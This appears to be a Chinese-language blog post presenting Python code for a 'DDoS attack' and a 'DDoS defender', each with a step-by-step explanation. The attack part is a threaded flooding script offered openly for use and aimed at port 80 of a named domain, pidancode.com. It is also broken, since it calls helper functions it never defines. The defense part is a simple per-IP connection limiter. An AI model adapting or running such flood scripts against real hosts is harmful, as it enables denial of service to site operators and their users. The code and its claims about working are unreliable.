banner
andrewji8

Being towards death

Heed not to the tree-rustling and leaf-lashing rain, Why not stroll along, whistle and sing under its rein. Lighter and better suited than horses are straw sandals and a bamboo staff, Who's afraid? A palm-leaf plaited cape provides enough to misty weather in life sustain. A thorny spring breeze sobers up the spirit, I feel a slight chill, The setting sun over the mountain offers greetings still. Looking back over the bleak passage survived, The return in time Shall not be affected by windswept rain or shine.
telegram
twitter
github

Python寫DDoS和防禦系統

image
直接上代碼:

import threading
import random

class DDoSAttackThread(threading.Thread):
    """DDoS攻擊線程"""
    def __init__(self, target, port, num_requests):
        """初始化DDoS攻擊線程"""
        super().__init__()
        self.target = target
        self.port = port
        self.num_requests = num_requests

    def run(self):
        """執行DDoS攻擊"""
        ip = "127.0.0.1"
        for _ in range(self.num_requests):
            data = generate_random_data(1024)
            send_data_to_server(self.target, self.port, data, ip)

class DDoSAttackManager:
    """DDoS攻擊管理器"""
    def __init__(self):
        """初始化DDoS攻擊管理器"""
        self.threads = []

    def add_thread(self, target, port, num_requests):
        """添加DDoS攻擊線程"""
        thread = DDoSAttackThread(target, port, num_requests)
        self.threads.append(thread)

    def start_attack(self):
        """啟動DDoS攻擊"""
        for thread in self.threads:
            thread.start()

if __name__ == "__main__":
    manager = DDoSAttackManager()
    for _ in range(4):
        manager.add_thread("pidancode.com", 80, 100)
    manager.start_attack()

代碼定義了兩個類:DDoSAttackThread 和 DDoSAttackManager。

DDoSAttackThread 是一個繼承自 threading.Thread 的類,用於表示一個 DDoS 攻擊線程。在初始化方法 init 中,我們傳入目標 IP 地址 target、端口 port 和請求數量 num_requests,並將其保存在實例變量中。在 run 方法中,我們使用一個循環來執行 DDoS 攻擊。在每次循環中,我們生成隨機數據 data,並通過 send_data_to_server 函數將數據發送到目標服務器。

DDoSAttackManager 是一個用於管理 DDoS 攻擊線程的類。在初始化方法 init 中,我們創建了一個空列表 threads 來保存 DDoS 攻擊線程。在 add_thread 方法中,我們創建了一個 DDoSAttackThread 實例,並將其添加到 threads 列表中。在 start_attack 方法中,我們遍歷 threads 列表,逐個啟動 DDoS 攻擊線程。

在主程序中,我們創建了一個 DDoSAttackManager 的實例 manager。然後,我們使用一個循環來添加 4 個 DDoS 攻擊線程到 manager 中,每個線程攻擊目標 IP 地址為 "pidancode.com",端口為 80,請求數量為 100。最後,我們調用 manager 的 start_attack 方法,啟動 DDoS 攻擊。

import asyncio

class DDoSDefender:
    """DDoS防禦器"""
    def __init__(self, max_conn=100):
        """初始化DDoS防禦器"""
        self.max_conn = max_conn
        self.conn_counts = {}

    async def handle_connection(self, reader, writer):
        """處理連接請求"""
        addr = writer.get_extra_info('peername')
        ip = addr[0]
        if ip not in self.conn_counts:
            self.conn_counts[ip] = 0
        if self.conn_counts[ip] >= self.max_conn:
            writer.close()
            print(f"IP地址{ip}的連接數已達到上限,拒絕連接")
        else:
            self.conn_counts[ip] += 1
            writer.write(b"Welcome to pidancode.com!")
            await writer.drain()
            data = await reader.read(1024)
            print(f"Received {len(data)} bytes of data from {ip}")
            writer.close()
            self.conn_counts[ip] -= 1

    async def run(self):
        """啟動DDoS防禦器"""
        server = await asyncio.start_server(
            self.handle_connection, '0.0.0.0', 80)
        addr = server.sockets[0].getsockname()
        print(f'Serving on {addr}')

        async with server:
            await server.serve_forever()

if __name__ == "__main__":
    defender = DDoSDefender()
    asyncio.run(defender.run())

使用了 Python 的 asyncio 庫來實現異步 IO 操作。

首先,我們定義了一個名為 DDoSDefender 的類,用於封裝 DDoS 防禦器的功能。在類的初始化方法 init 中,我們可以傳入一個 max_conn 參數,用於設置最大連接數。同時,我們創建了一個字典 conn_counts 來記錄每個 IP 地址的連接數。

接下來,我們定義了一個名為 handle_connection 的異步方法,用於處理連接請求。它接收兩個參數:reader 和 writer,分別表示用於讀取數據和寫入數據的對象。

在方法中,我們首先通過 writer.get_extra_info (‘peername’) 獲取客戶端的 IP 地址。然後,我們檢查該 IP 地址在 conn_counts 字典中是否存在,如果不存在,則將其初始化為 0。

接下來,我們檢查該 IP 地址的連接數是否已經達到了最大連接數。如果是,則關閉連接並打印提示信息;如果不是,則將該 IP 地址的連接數加 1,並向客戶端發送歡迎消息。

然後,我們使用 await writer.drain () 確保寫入操作完成。接著,我們使用 await reader.read (1024) 從客戶端讀取數據,並打印接收到的數據的字節數。

最後,我們關閉連接,並將該 IP 地址的連接數減 1。

接下來,我們定義了一個名為 run 的異步方法,用於啟動 DDoS 防禦器。在方法中,我們使用 asyncio.start_server 方法創建一個服務器對象,指定了監聽的 IP 地址和端口。

然後,我們通過 server.sockets [0].getsockname () 獲取服務器的地址信息,並打印出來。

接著,我們使用 async with server 來管理服務器的生命周期,並通過調用 server.serve_forever () 方法來啟動服務器,使其一直運行。

最後,在主程序中,我們創建了一個 DDoSDefender 的實例 defender,並通過 asyncio.run 方法來運行 defender 的 run 方法,從而啟動 DDoS 防禦器。

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。